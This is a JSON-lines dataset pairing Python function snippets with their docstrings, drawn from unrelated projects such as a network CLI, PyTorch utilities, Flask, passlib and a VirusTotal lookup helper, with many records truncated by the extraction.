[\"trap_disabled\", \"trap_enabled\"]\n assert opts.link_up_down_trap_enable in types, \\\n 'Invalid Enum value for Channel Group link up down trap \\\n enable type \\'{}\\''.format(opts.link_up_down_trap_enable)\n interface_instance.interface.link_up_down_trap_enable = \\\n ietf_interfaces_pb2._INTERFACE_LINKUPDOWNTRAPENABLETYPE.\\\n values_by_name[opts.link_up_down_trap_enable.upper()]\\\n .number\n if opts.polling_period:\n interface_instance.data.polling_period = opts.polling_period\n if opts.raman_mitigation:\n raman_mitigations = [\"raman_none\", \"raman_miller\",\n \"raman_8b10b\"]\n assert opts.raman_mitigation in raman_mitigations, \\\n 'Invalid Enum value for Channel Group raman mitigation\\\n \\'{}\\''.format(opts.raman_mitigation)\n interface_instance.data.raman_mitigation = \\\n bbf_fiber_types_pb2._RAMANMITIGATIONTYPE.\\\n values_by_name[opts.raman_mitigation.upper()].number\n if opts.system_id:\n interface_instance.data.system_id = opts.system_id\n if line.strip() == \"create\":\n stub.CreateChannelgroup(interface_instance)\n elif line.strip() == \"update\":\n stub.UpdateChannelgroup(interface_instance)\n elif line.strip() == \"delete\":\n stub.DeleteChannelgroup(interface_instance)\n return\n except Exception, e:\n self.poutput(\n self.colorize('Error: ', 'red') +\n self.colorize(self.colorize(e.message, 'blue'), 'bold'))\n return\n", "nl": "channel group get, create -flags ,update -flags , delete -n "} {"code": "def write(self,filen=None,fp=None):\n if fp is None and filen is not None:\n fp = io.open(filen,'wt')\n fp.write(u\"\\n\")\n fp.write(u\"\\n\")\n fp.write(u\"%s\\n\" % self.__page_title)\n if self.__css_rules:\n fp.write(u\"\\n\")\n if self.__javascript:\n fp.write(u\"\\n\")\n fp.write(u\"\\n\")\n fp.write(u\"\\n\")\n fp.write(u'\\n'.join(self.__content))\n fp.write(u\"\\n\")\n fp.write(u\"\\n\")\n if filen is not None:\n fp.close()\n\nclass PNGBase64Encoder:\n \"\"\"Utility class to encode PNG file into a base64 string\n", "nl": "Write the HTML document to fileGenerates a HTML document based on the content, stylesetc that have been defined by calls to the object'smethods.Can supply either a filename or a file-like objectopened for writing.Arguments:filen: name of the file to write the document to.fp : file-like object opened for writing; if thisis supplied then filen argument will beignored even if it is not None."} {"code": "def remove_move(name):\n\n\nget_method_function = operator.attrgetter(_meth_func)\nget_method_self = operator.attrgetter(_meth_self)\nget_function_closure = operator.attrgetter(_func_closure)\nget_function_code = operator.attrgetter(_func_code)", "nl": "Remove item from six.moves.try:delattr(_MovedItems, name)except AttributeError:try:del moves.__dict__[name]except KeyError:raise AttributeError(\"no such move, %r\" % (name,))if PY3:_meth_func = \"__func__\"_meth_self = \"__self__\"_func_closure = \"__closure__\"_func_code = \"__code__\"_func_defaults = \"__defaults__\"_func_globals = \"__globals__\"else:_meth_func = \"im_func\"_meth_self = \"im_self\"_func_closure = \"func_closure\"_func_code = \"func_code\"_func_defaults = \"func_defaults\"_func_globals = \"func_globals\"try:advance_iterator = nextexcept NameError:def advance_iterator(it):return it.next()next = advance_iteratortry:callable = callableexcept NameError:def callable(obj):return any(\"__call__\" in klass.__dict__ for klass in type(obj).__mro__)if PY3:def get_unbound_function(unbound):return unboundcreate_bound_method = types.MethodTypedef create_unbound_method(func, cls):return funcIterator = objectelse:def get_unbound_function(unbound):return unbound.im_funcdef create_bound_method(func, obj):return types.MethodType(func, obj, obj.__class__)def create_unbound_method(func, cls):return types.MethodType(func, None, cls)class Iterator(object):def next(self):return type(self).__next__(self)callable = callable_add_doc(get_unbound_function,Get the function out of a possibly unbound function)"} {"code": "def _add_type_covariates(options, optim_paras):\n if optim_paras[\"n_types\"] >= 2:\n type_covariates = {\n f\"type_{i}\": f\"type == {i}\" for i in range(1, optim_paras[\"n_types\"])\n }\n\n options[\"covariates\"] = {**options[\"covariates\"], **type_covariates}\n\n return options\n\n", "nl": "Add type covariates.Since types only introduce constant shifts in the utility functions, this functionconveniently adds covariates for each type by default.Examples-------->>> options = {\"covariates\": {}}>>> optim_paras = {\"n_types\": 2}>>> _add_type_covariates(options, optim_paras){'covariates': {'type_1': 'type == 1'}}"} {"code": "def launch(main_func, num_gpus_per_machine, num_machines=1, machine_rank=0, dist_url=None, args=()):\n world_size = num_machines * num_gpus_per_machine\n if world_size > 1:\n\n if dist_url == \"auto\":\n assert num_machines == 1, \"dist_url=auto cannot work with distributed training.\"\n port = _find_free_port()\n dist_url = f\"tcp://127.0.0.1:{port}\"\n\n mp.spawn(\n _distributed_worker,\n nprocs=num_gpus_per_machine,\n args=(main_func, world_size, num_gpus_per_machine, machine_rank, dist_url, args),\n daemon=False,\n )\n else:\n main_func(*args)\n\n", "nl": "Args:main_func: a function that will be called by `main_func(*args)`num_machines (int): the total number of machinesmachine_rank (int): the rank of this machine (one per machine)dist_url (str): url to connect to for distributed training, including protocole.g. \"tcp://127.0.0.1:8686\".Can be set to auto to automatically select a free port on localhostargs (tuple): arguments passed to main_func"} {"code": "def _with_register_classes(cls, fn):\n cls_registry = cls.classes\n\n class FindFixture(type):", "nl": "Run a setup method, framing the operation with a Base classthat will catch new subclasses to be established withinthe \"classes\" registry."} {"code": "def get_debug_flag():\n val = os.environ.get(\"FLASK_DEBUG\")\n\n if not val:\n return get_env() == \"development\"\n\n return val.lower() not in (\"0\", \"false\", \"no\")\n\n", "nl": "Get whether debug mode should be enabled for the app, indicatedby the :envvar:`FLASK_DEBUG` environment variable. The default is``True`` if :func:`.get_env` returns ``'development'``, or ``False``otherwise."} {"code": "def memoized_instancemethod(fn):\n", "nl": "Decorate a method memoize its return value.Best applied to no-arg methods: memoization is not sensitive toargument values, and will always return the same value even whencalled with different arguments."} {"code": "def extract_urls(self, html_in):\n ahref = re.compile(r'href=\"([a-zA-Z0-9_\\.&\\?=%/:-]+)\"')\n links = ahref.findall(html_in)\n return links\n", "nl": "Helper function that uses regexps to extract the image urls from thegiven HTML.Parameters----------html_in : strsource from which the urls are to be extracted.Returns-------links : listThe list of URLS extracted from the input."} {"code": "def format(self, default_day=None, explicit_none=True):\n\n none_str = \"--\" if explicit_none else \"\"\n\n if self.start:", "nl": "Return a string representing the time range.Start date is shown only if start does not belong to default_day.End date is shown only if end does not belong tothe same hamster day as start (or to default_day if start is None)."} {"code": "def resnet50(pretrained=False, **kwargs):\n model = ResNet(Bottleneck, [3, 4, 6, 3], **kwargs)\n if pretrained:\n model.load_state_dict(model_zoo.load_url(model_urls['resnet50']))\n return model\n\n", "nl": "Constructs a ResNet-50 model.Args:pretrained (bool): If True, returns a model pre-trained on ImageNet"} {"code": "def OnDeleteNodes(self, event):\n if self._activeNode != None \\\n and self._activeNode.IsOutputNode() != True:\n self._activeNode.Delete()\n self._activeNode = None\n\n self.NodePropertiesPanel.UpdatePanelContents(self._activeNode)\n\n self.RefreshGraph()\n", "nl": " Event that deletes the selected nodes. self.DeleteNodes()def OnDeleteNode(self, event): Event that deletes a single selected node. "} {"code": "def debug_print(self, msg):\n from distutils.debug import DEBUG\n if DEBUG:\n print(msg)\n\n", "nl": "Print 'msg' to stdout if the global DEBUG (taken from theDISTUTILS_DEBUG environment variable) flag is true."} {"code": "def testEuclideanWorkWithMissingValues(self):\n self.assertAlmostEqual(engine.action(None), 4.42, places=2)\n\n engine, = PFAEngine.fromYaml('''\n self.assertAlmostEqual(engine.action(None), 4.42, places=2)\n\n engine, = PFAEngine.fromYaml('''\n self.assertAlmostEqual(engine.action(None), 4.42, places=2)\n", "nl": "engine, = PFAEngine.fromYaml(input: \"null\"output: doubleaction:- metric.euclidean:- fcn: metric.absDiff- value: [null, {double: 2}, {double: 3}]type: {type: array, items: [\"null\", double]}- value: [0, 0, 0]type: {type: array, items: double})"} {"code": "def period_bin_right_edges(self):\n return self._period_binning[4, :]\n\n @property", "nl": "Returns right edges of period bins (same length as number of bins).These are the edges used for smoothing along the period axis of the psd(before binning), not the edges of the histogram/pcolormesh in theplot."} {"code": "def FProp(self, _, encoded_images):\n p = self.params\n", "nl": "Decodes and preprocesses the given images.Args:encoded_images: Encoded jpeg images as a [batch_size, ...] string Tensor.Returns:The decoded images as a float32 Tensor with shape[batch_size, ..., height, width, num_channels=3]."} {"code": "def update_stats(self, preds, labels, clip_ids):\n for ind in range(preds.shape[0]):\n vid_id = int(clip_ids[ind]) // self.num_clips\n if self.video_labels[vid_id].sum() > 0:\n assert torch.equal(\n self.video_labels[vid_id].type(torch.FloatTensor),\n labels[ind].type(torch.FloatTensor),\n )\n self.video_labels[vid_id] = labels[ind]\n if self.ensemble_method == \"sum\":\n self.video_preds[vid_id] += preds[ind]\n elif self.ensemble_method == \"max\":\n self.video_preds[vid_id] = torch.max(\n self.video_preds[vid_id], preds[ind]\n )\n else:\n raise NotImplementedError(\n \"Ensemble Method {} is not supported\".format(\n self.ensemble_method\n )\n )\n self.clip_count[vid_id] += 1\n", "nl": "Collect the predictions from the current batch and perform on-the-flightsummation as ensemble.Args:preds (tensor): predictions from the current batch. Dimension isN x C where N is the batch size and C is the channel size(num_cls).labels (tensor): the corresponding labels of the current batch.Dimension is N.clip_ids (tensor): clip indexes of the current batch, dimension isN."} {"code": "def main():\n\n Parser = argparse.ArgumentParser()", "nl": "Inputs:NoneOutputs:Runs Testing code"} {"code": "def __init__(self, **options):\n Formatter.__init__(self, **options)\n self.fontface = options.get('fontface') or ''\n", "nl": "Additional options accepted:``fontface``Name of the font used. Could for example be ``'Courier New'``to further specify the default which is ``'\\fmodern'``. The RTFspecification claims that ``\\fmodern`` are \"Fixed-pitch serifand sans serif fonts\". Hope every RTF implementation thinksthe same about modern..."} {"code": "def get_prf(name):\n global _prf_cache\n if name in _prf_cache:\n return _prf_cache[name]\n if isinstance(name, native_string_types):\n if not name.startswith(_HMAC_PREFIXES):\n raise ValueError(\"unknown prf algorithm: %r\" % (name,))\n digest = lookup_hash(name[5:]).name", "nl": "Lookup pseudo-random family (PRF) by name.:arg name:This must be the name of a recognized prf.Currently this only recognizes names with the format:samp:`hmac-{digest}`, where :samp:`{digest}`is the name of a hash function such as``md5``, ``sha256``, etc.todo: restore text about callables.:raises ValueError: if the name is not known:raises TypeError: if the name is not a callable or string:returns:a tuple of :samp:`({prf_func}, {digest_size})`, where:* :samp:`{prf_func}` is a function implementingthe specified PRF, and has the signature``prf_func(secret, message) -> digest``.* :samp:`{digest_size}` is an integer indicatingthe number of bytes the function returns.Usage example::>>> from passlib.utils.pbkdf2 import get_prf>>> hmac_sha256, dsize = get_prf(\"hmac-sha256\")>>> hmac_sha256>>> dsize32>>> digest = hmac_sha256('password', 'message').. deprecated:: 1.7This function is deprecated, and will be removed in Passlib 2.0.This only related replacement is :func:`passlib.crypto.digest.compile_hmac`."} {"code": "def _choose_best_prediction(self, predictions, query_image):\n plot_correspondences.plot_correspondences(\n left_image_path=left_image_path,\n right_image_path=right_image_path,\n left_keypoints=left_keypoints,\n right_keypoints=right_keypoints,\n matches=matches,\n title=title,\n export_filename=export_filename)\n", "nl": "Pick the best prediction from the top-N nearest neighbors.filename = self._dataset.output_converter(query_image)best_prediction = np.argmax([p.num_inliers for p in predictions])quaternion = predictions[best_prediction].quaternionmatrix = predictions[best_prediction].matrixreturn [filename, *quaternion, *list(matrix[:3,3])], predictions[best_prediction]def _nearest_neighbor_prediction(self, nearest_neighbor):key = self._dataset.key_converter(nearest_neighbor)if key in self._filename_to_pose:quaternion, matrix = self._filename_to_pose[key]prediction = solve_pnp.Prediction(success=True,num_matches=None,num_inliers=-1,reference_inliers=None,query_inliers=None,quaternion=quaternion,matrix=matrix,reference_filename=nearest_neighbor,reference_keypoints=None)return predictionreturn Nonedef _plot_inliers(self, left_image_path, right_image_path, left_keypoints,right_keypoints, matches, title, export_filename):Plot the inliers."} {"code": "def test_pairedimagedataset():\nname: Test\ntype: PairedImageDataset\ndataroot_gt: tests/data/gt\ndataroot_lq: tests/data/lq\nmeta_info_file: tests/data/meta_info_gt.txt\nfilename_tmpl: '{}'\nio_backend:\n type: disk\n\nscale: 4\nmean: [0.5, 0.5, 0.5]\nstd: [0.5, 0.5, 0.5]\ngt_size: 128\nuse_hflip: true\nuse_rot: true\n\nphase: train\n\"\"\"", "nl": "Test dataset: PairedImageDatasetopt_str = r"} {"code": "def get_from_cache(url, cache_dir=None):\n if cache_dir is None:\n cache_dir = PYTORCH_PRETRAINED_BERT_CACHE\n if sys.version_info[0] == 3 and isinstance(cache_dir, Path):\n cache_dir = str(cache_dir)\n\n if not os.path.exists(cache_dir):\n os.makedirs(cache_dir)\n\n if url.startswith(\"s3://\"):\n etag = s3_etag(url)\n else:\n response = requests.head(url, allow_redirects=True)\n if response.status_code != 200:\n raise IOError(\"HEAD request failed for url {} with status code {}\"\n .format(url, response.status_code))\n etag = response.headers.get(\"ETag\")\n\n filename = url_to_filename(url, etag)\n\n cache_path = os.path.join(cache_dir, filename)\n\n if not os.path.exists(cache_path):\n with tempfile.NamedTemporaryFile() as temp_file:\n logger.info(\"%s not found in cache, downloading to %s\", url, temp_file.name)\n\n if url.startswith(\"s3://\"):\n s3_get(url, temp_file)\n else:\n http_get(url, temp_file)\n\n temp_file.flush()\n temp_file.seek(0)\n\n logger.info(\"copying %s to cache at %s\", temp_file.name, cache_path)\n with open(cache_path, 'wb') as cache_file:\n shutil.copyfileobj(temp_file, cache_file)\n\n logger.info(\"creating metadata file for %s\", cache_path)\n meta = {'url': url, 'etag': etag}\n meta_path = cache_path + '.json'\n with open(meta_path, 'w', encoding=\"utf-8\") as meta_file:\n json.dump(meta, meta_file)\n\n logger.info(\"removing temp file %s\", temp_file.name)\n\n return cache_path\n\n", "nl": "Given a URL, look for the corresponding dataset in the local cache.If it's not there, download it. Then return the path to the cached file."} {"code": "def scan_file(self, filepath, summary=False):\n if not os.path.exists(filepath):\n log.warning(\"Path \\\"%s\\\" could not be found for VirusTotal \"\n \"lookup, skipping it\", os.path.basename(filepath))\n return\n\n try:\n return self.vt.file_report(filepath, summary=summary)\n except VirusTotalResourceNotScanned:\n return self.vt.file_scan(filepath)\n except CuckooOperationalError as e:\n log.warning(\"Error fetching results from VirusTotal for \"\n \"\\\"%s\\\": %s\", os.path.basename(filepath), e.message)\n", "nl": "Retrieve VirusTotal results for a file.@param filepath: file path@param summary: if you want a summary report"} {"code": "def reset(self):\n\n Args:\n index: Link index.\n pose: Target link pose.\n start_time: Starting time of the target.\n stop_time: Stopping time of the target.\n position_threshold: Threshold of reaching the target positions.\n velocity_threshold: Threshold of reaching the target velocities.\n timeout: Maximum execution time in seconds.\n \"\"\"", "nl": "Reset the target.self._index = Noneself._link = Noneself._pose = Noneself._pose_queue = []self._start_time = Noneself._stop_time = Nonedef set(self,index,pose,start_time=None,stop_time=None,position_threshold=None,velocity_threshold=None,timeout=TIMEOUT):Set the target."} {"code": "def start(self):\n self.startTime = time.time()\n\n", "nl": "Starts the stopwatch."} {"code": "def subnet_of(self, other):\n return self._is_subnet_of(other, self)\n\n @property", "nl": "Return True if this network is a subnet of other.return self._is_subnet_of(self, other)def supernet_of(self, other):Return True if this network is a supernet of other."} {"code": "def mbid_validate(string): # noqa: E302\n return _re_mbid_val.match(string) is not None\n\n", "nl": "Test if passed string is a valid mbid"} {"code": "def _add_timedeltalike_scalar(self, other):\n if isna(other):\n new_values = np.empty(len(self), dtype='i8')\n new_values[:] = iNaT\n return new_values\n\n inc = delta_to_nanoseconds(other)\n new_values = checked_add_with_arr(self.asi8, inc,\n arr_mask=self._isnan).view('i8')\n new_values = self._maybe_mask_results(new_values)\n return new_values.view('i8')\n", "nl": "Add a delta of a timedeltalikereturn the i8 result view"} {"code": "def __iadd__(self, other):\n m = getmask(other)\n if self._mask is nomask:\n if m is not nomask and m.any():\n self._mask = make_mask_none(self.shape, self.dtype)\n self._mask += m\n else:\n if m is not nomask:\n self._mask += m\n self._data.__iadd__(np.where(self._mask, self.dtype.type(0),\n getdata(other)))\n return self\n", "nl": "Add other to self in-place."} {"code": "def read_floatnl(f):\n s = read_stringnl(f, decode=False, stripquotes=False)\n return float(s)\n\nfloatnl = ArgumentDescriptor(\n name='floatnl',\n n=UP_TO_NEWLINE,\n reader=read_floatnl,\n doc=\"\"\"A newline-terminated decimal floating literal.\n", "nl": "r>>> import io>>> read_floatnl(io.BytesIO(b\"-1.25\\n6\"))-1.25"} {"code": "def process_notice(self, notice):\n id = notice[\"id\"]\n\n _a, _b, _ = id.split(\".\")\n\n if id in self.subscription_objects:\n self.on_object(notice)\n\n elif \".\".join([_a, _b, \"x\"]) in self.subscription_objects:\n self.on_object(notice)\n\n elif id[:4] == \"2.6.\":\n self.on_account(notice)\n", "nl": "This method is called on notices that need processing.Here, we call ``on_object`` and ``on_account`` slots."} {"code": "def ensure_sanitary_markup(markup, markuplang, restricted=False):\n if markuplang == 'html' and not isinstance(markup, SafeText):\n return sanitize_html(markup, restricted=restricted)\n\n return markup\n\n\nforum_link_re = re.compile(r'\nignore_tags = {'a', 'pre', 'code'}\n\n", "nl": "Double-check that the markup we're about to store is safe.:param markup: markup:param markuplang: markup language contained in markup argument:param restricted: use the restricted HTML subset?:return: sanitary markup"} {"code": "def register_vcs_handler(vcs, method): # decorator\n if vcs not in HANDLERS:\n HANDLERS[vcs] = {}\n HANDLERS[vcs][method] = f\n return f\n return decorate\n\n", "nl": "Create decorator to mark a method as the handler of a VCS.def decorate(f):Store f in HANDLERS[vcs][method]."} {"code": "def now(self) -> DateTime:\n return DateTime.now(tz=TIME_ZONE).start_of('day') + (\n self.config.tick_length * self.current_tick\n )\n\n @property", "nl": "Return the 'current time' as a `DateTime` object.Can be overridden in subclasses to change the meaning of 'now'.In this default implementation 'current time' is defined by the number of ticks thathave passed."} {"code": "def binary_subscr(self, obj, idx, value):\n obj[idx] = value", "nl": " Called before the BINARY_SUBSCR opcode is executed.This method performs a STORE_SUBSCR operation through standardsetitem semantics. See also: `CodeInverter.binary_subscr`."} {"code": "def on_update(self, delta_time):\n self.clear()\n\n", "nl": " Movement and game logic passdef on_draw(self): Draw everything "} {"code": "def resize_by_factor(im, factor):\n new_size = tuple(np.round(np.array([im.shape[1], im.shape[0]]) * factor).astype(int))\n interp = cv2.INTER_LINEAR if factor > 1.0 else cv2.INTER_AREA\n return cv2.resize(im, new_size, fx=factor, fy=factor, interpolation=interp)\n\n", "nl": "Returns a copy of `im` resized by `factor`, using bilinear interp for up and area interpfor downscaling."} {"code": "def deprecated_keywords(keywords):", "nl": "Decorator for marking keywords as deprecated... note::Actually, this is not a decorator itself but a decorator factory,returning the correct decorator for the specified options. It can beused just like a decorator.:type keywords: dict:param keywords: old/new keyword names as key/value pairs."} {"code": "def download(self, options):\n TNS = 'targetNamespace'\n tns = root.get(TNS)\n if tns is None:\n tns = self.schema.tns[1]\n root.set(TNS, tns)\n else:\n if self.schema.tns[1] != tns:\n raise Exception, '%s mismatch' % TNS\n\n", "nl": " download the schema url = self.locationtry:if '://' not in url:url = urljoin(self.schema.baseurl, url)reader = DocumentReader(options)d = reader.open(url)root = d.root()root.set('url', url)self.__applytns(root)return self.schema.instance(root, url, options)except TransportError:msg = 'include schema at (%s), failed' % urllog.error('%s, %s', self.id, msg, exc_info=True)raise Exception(msg)def __applytns(self, root): make sure included schema has same tns. "} {"code": "def init_from_dict(self, args_dict):\n json_data = {}\n for key in self.keys:\n json_data[key] = getattr(self, key)\n\n json_dir = os.path.dirname(json_path)\n if not tf.io.gfile.exists(json_dir):\n tf.io.gfile.makedirs(json_dir)\n with tf.io.gfile.GFile(json_path, 'w') as f:\n json.dump(json_data, f, indent=4, sort_keys=True)\n\n\nclass RunConfig(object):\n \"\"\"Class of RunConfig.\n", "nl": "Constructs a `BertConfig` from a Python dictionary of parameters.for key in self.keys:setattr(self, key, args_dict[key])def init_from_flags(self, flags):for key in self.keys:setattr(self, key, getattr(flags, key))def init_from_json(self, json_path):with tf.io.gfile.GFile(json_path) as f:json_data = json.load(f)self.init_from_dict(json_data)def to_json(self, json_path):Save XLNetConfig to a json file."} {"code": "def decode_b64(encoded: str) -> str:\n return base64.b64decode(encoded).decode('utf-8')\n\n", "nl": "Takes a base64 encoded string. Returns the decoded version to utf-8."} {"code": "def exported_paths(self):\n for wad in self.wads.values():\n yield from (wf.path_hash for wf in wad.files if not wf.path)\n", "nl": "Generate paths of extracted filesyield from self.plain_filesfor wad in self.wads.values():yield from (wf.path for wf in wad.files)def unknown_hashes(self):Yield all unknown hashes from WAD files"} {"code": "def _truncate_seq_pair(tokens_a, tokens_b, max_length):\n model = modeling.BertModel(\n config=bert_config,\n is_training=is_training,\n input_ids=input_ids,\n input_mask=input_mask,\n token_type_ids=segment_ids,\n use_one_hot_embeddings=use_one_hot_embeddings,\n )\n\n output_layer = model.get_pooled_output()\n\n hidden_size = output_layer.shape[-1]\n\n output_weights = tf.get_variable(\n \"output_weights\",\n [num_labels, hidden_size],\n initializer=tf.truncated_normal_initializer(stddev=0.02),\n )\n\n output_bias = tf.get_variable(\n \"output_bias\", [num_labels], initializer=tf.zeros_initializer()\n )\n\n with tf.variable_scope(\"loss\"):\n if is_training:\n output_layer = tf.nn.dropout(output_layer, keep_prob=0.9)\n\n logits = tf.matmul(output_layer, output_weights, transpose_b=True)\n logits = tf.nn.bias_add(logits, output_bias)\n probabilities = tf.nn.softmax(logits, axis=-1)\n log_probs = tf.nn.log_softmax(logits, axis=-1)\n\n one_hot_labels = tf.one_hot(labels, depth=num_labels, dtype=tf.float32)\n\n per_example_loss = -tf.reduce_sum(one_hot_labels * log_probs, axis=-1)\n loss = tf.reduce_mean(per_example_loss)\n\n return (loss, per_example_loss, logits, probabilities)\n\n", "nl": "Truncates a sequence pair in place to the maximum length.# This is a simple heuristic which will always truncate the longer sequence# one token at a time. This makes more sense than truncating an equal percent# of tokens from each, since if one sequence is very short then each token# that's truncated likely contains more information than a longer sequence.while True:total_length = len(tokens_a) + len(tokens_b)if total_length <= max_length:breakif len(tokens_a) > len(tokens_b):tokens_a.pop()else:tokens_b.pop()def create_model(bert_config,is_training,input_ids,input_mask,segment_ids,labels,num_labels,use_one_hot_embeddings,):Creates a classification model."} {"code": "def test_dominant_healthy_recessive_male():\n family_lines = [\n \"\n \"1\\tproband\\t0\\t0\\t1\\t1\\n\"\n ]\n\n family = get_family(family_lines=family_lines)\n\n recessive_variant = {'genotypes': {}}\n recessive_variant['genotypes']['proband'] = Genotype(**{'GT':'0/1'})\n\n assert check_dominant(\n variant = recessive_variant,\n family = family\n ) == False\n", "nl": "Test a healthy recessive male"} {"code": "def Available(self):\n return GetAvailable(self)\n\n @property", "nl": ":return:"} {"code": "def when(self, switch):\n return self if switch else None\n", "nl": " A simple switch method to toggle a helper.Parameters----------switch : boolWhether or not the helper should be active.Returns-------result : self or NoneThe current instance if the switch is True, None otherwise."} {"code": "def check_not_at_latest_version(self) -> str:\n if self.item_public_id.version != \"latest\":\n new_item = self.item_public_id\n else:\n new_item = get_latest_version_available_in_registry(\n self.ctx,\n self.item_type,\n self.item_public_id,\n aea_version=self._current_aea_version,\n )\n\n if self.current_item_public_id.version == new_item.version:\n raise AlreadyActualVersionException(new_item.version)\n\n return new_item.version\n", "nl": "Check the package is not at the actual version.:return: the version number."} {"code": "def call_at(self, behavior, time):\n raise NotImplementedError()\n\n @abc.abstractmethod", "nl": "Adds a behavior to be called at a specific time.Args:behavior: A behavior to be called with no arguments.time: The test time at which to call the behavior.Returns:A grpc.Future with which the call of the behavior may be cancelledbefore it is executed."} {"code": "def __init__(self):\n self.last_event = None\n self.last_props = {}\n self.__event = threading.Event()\n", "nl": "Sets up members"} {"code": "def write_scaffold_summary(self, scaffold_stats, output_file):\n\n seq_assignments = self.classify_seqs()\n\n fout = open(output_file, 'w')\n fout.write('Scaffold id')\n fout.write('\\tGenome id\\tLength (bp)\\tGC\\tMean coverage')\n fout.write('\\t\n for rank in Taxonomy.rank_labels:\n fout.write('\\t' + rank + ': taxa')\n fout.write('\\t' + rank + ': % genes')\n fout.write('\\t' + rank + ': avg. e-value')\n fout.write('\\t' + rank + ': avg. % identity')\n fout.write('\\t' + rank + ': avg. align. length (aa)')\n fout.write('\\n')\n\n for seq_id in seq_assignments:\n fout.write('%s\\t%s\\t%.2f\\t%d\\t%d' % (seq_id,\n scaffold_stats.print_stats(seq_id),\n mean(scaffold_stats.coverage(seq_id)),\n self.genes_in_scaffold[seq_id],\n self.coding_bases[seq_id]))\n\n for r in range(0, len(Taxonomy.rank_labels)):\n taxa, hit_info = seq_assignments[seq_id][r]\n\n if taxa != self.unclassified:\n avg_evalue = mean([x.evalue for x in hit_info])\n avg_perc_identity = mean([x.perc_identity for x in hit_info])\n avg_aln_length = mean([x.aln_length for x in hit_info])\n\n hit_str = '%.2f' % (len(hit_info) * 100.0 / self.genes_in_scaffold[seq_id])\n fout.write('\\t%s\\t%s\\t%.2g\\t%.2f\\t%.2f' % (taxa,\n hit_str,\n avg_evalue,\n avg_perc_identity,\n avg_aln_length))\n else:\n fout.write('\\t%s\\t%s\\t%s\\t%s\\t%s' % (taxa,\n 'na',\n 'na',\n 'na',\n 'na'))\n fout.write('\\n')\n", "nl": "Summarize classification of each scaffold.Parameters----------scaffold_stats : ScaffoldStatsClass containing statistics for scaffolds.output_file : strOutput file."} {"code": "def display_time(self):\n return self._complib\n\n @complib.setter", "nl": "Time interval in seconds, when to display the storage or loading of nodesreturn self._display_time@display_time.setterdef display_time(self, display_time):self._display_time = display_time@propertydef complib(self):Compression library used"} {"code": "def info(self) -> Mapping[str, Any]:\n\n Notes:\n If the cloned stream is supposed to supersede this stream,\n like in ``group_by``/``through``/etc., you should use\n :meth:`_chain` instead so `stream._next = cloned_stream`\n is set and :meth:`get_active_stream` returns the cloned stream.\n \"\"\"", "nl": "Return stream settings as a dictionary.# used by e.g. .clone to reconstruct keyword arguments# needed to create a clone of the stream.return {'app': self.app,'channel': self.channel,'processors': self._processors,'on_start': self._on_start,'loop': self.loop,'combined': self.combined,'beacon': self.beacon,'concurrency_index': self.concurrency_index,'prev': self._prev,'active_partitions': self.active_partitions,}def clone(self, **kwargs: Any) -> StreamT:Create a clone of this stream."} {"code": "def test_add_service_ipv6_default(self):\n self.client.add_service('2001:0DB8::1', 80)\n pools = self.client.get_pools()\n self.assertEqual(pools[0].service().proto().lower(), 'tcp')\n self.assertEqual(pools[0].service().af(), socket.AF_INET6)\n\n\nclass TestAddingDest(BaseIpvsTestCase):\n", "nl": "Test that we service default to TCP."} {"code": "def test_clear(self):\n direction, identity, text = u\"I\", u\"identity1\", u\"text\"\n store_message(direction, identity, text)\n direction, identity, text = u\"I\", u\"identity2\", u\"text\"\n store_message(direction, identity, text)\n direction, identity, text = u\"I\", u\"identity3\", u\"text\"\n store_message(direction, identity, text)\n clear_all_messages()\n self.assertEqual(0, len(get_messages()))\n\n\nclass ViewTest(RapidTest):\n disable_phases = True\n phone = \"12345\"\n url = reverse('httptester', kwargs={'identity': phone})\n", "nl": "We can clear messages for a given identitydirection, identity, text = u\"I\", u\"identity1\", u\"text\"store_message(direction, identity, text)direction, identity, text = u\"I\", u\"identity2\", u\"text\"store_message(direction, identity, text)direction, identity, text = u\"I\", u\"identity3\", u\"text\"store_message(direction, identity, text)clear_messages(u\"identity2\")msgs = get_messages()for msg in msgs:self.assertNotEqual(u\"identity2\", msg.identity)def test_clear_all(self):We can clear all messages"} {"code": "def test_post_instance(self):\n self.impl.delete.return_value = None\n\n resp = self.client.delete('/instance/proid.app\n self.assertEqual(resp.status_code, http_client.OK)\n self.impl.delete.assert_called_once_with('proid.app\n\n self.impl.reset_mock()\n with user_set(self.app, 'foo@BAR.BAZ'):\n resp = self.client.delete('/instance/proid.app\n self.assertEqual(resp.status_code, http_client.OK)\n self.impl.delete.assert_called_once_with(\n 'proid.app\n )\n", "nl": "Test creating an instance.self.impl.create.return_value = ['proid.app#0000000001']rsrc = {'services': [{'command': '/bin/sleep 60','name': 'sleep','restart': {'interval': 60, 'limit': 0}}],'cpu': '10%','memory': '100M','disk': '100M'}resp = self.client.post('/instance/proid.app',data=json.dumps(rsrc),content_type='application/json')resp_json = b''.join(resp.response)self.assertEqual(json.loads(resp_json.decode()),{'instances': ['proid.app#0000000001']})self.assertEqual(resp.status_code, http_client.OK)self.impl.create.assert_called_once_with('proid.app', rsrc, 1, None, False, None)self.impl.reset_mock()with user_set(self.app, 'foo@BAR.BAZ'):resp = self.client.post('/instance/proid.app?count=2',data=json.dumps(rsrc),content_type='application/json')self.assertEqual(resp.status_code, http_client.OK)self.impl.create.assert_called_once_with('proid.app', rsrc, 2, 'foo@BAR.BAZ', False, None)self.impl.reset_mock()resp = self.client.post('/instance/proid.app?count=1&debug=true',data=json.dumps(rsrc),content_type='application/json')self.assertEqual(resp.status_code, http_client.OK)self.impl.create.assert_called_once_with('proid.app', rsrc, 1, None, True, None)self.impl.reset_mock()resp = self.client.post('/instance/proid.app?count=1&debug_services=test',data=json.dumps(rsrc),content_type='application/json')self.assertEqual(resp.status_code, http_client.OK)self.impl.create.assert_called_once_with('proid.app', rsrc, 1, None, False, ['test'])self.impl.create.side_effect = exc.InvalidInputError('foo', 'bar')resp = self.client.post('/instance/user@group.app',data=json.dumps(rsrc),content_type='application/json')self.assertEqual(resp.status_code, http_client.BAD_REQUEST)def test_delete_instance(self):Test deleting an instance."} {"code": "def __eq__(self, other):\n return \"\\033[\" + \";\".join(map(str, self.ansi_codes)) + \"m\"\n\n @property", "nl": "Reset colors are equal, otherwise rgb have to match.return other.isreset if self.isreset else self.rgb == other.rgb@propertydef ansi_sequence(self):This is the ansi sequence as a string, ready to use."} {"code": "def _CountPositives(solution):\n count = 0\n for v in solution.values():\n if v:\n count += 1\n\n return count\n\n", "nl": "Counts number of test images with non-empty ground-truth in `solution`.Args:solution: Dict mapping test image ID to list of ground-truth IDs.Returns:count: Number of test images with non-empty ground-truth."} {"code": 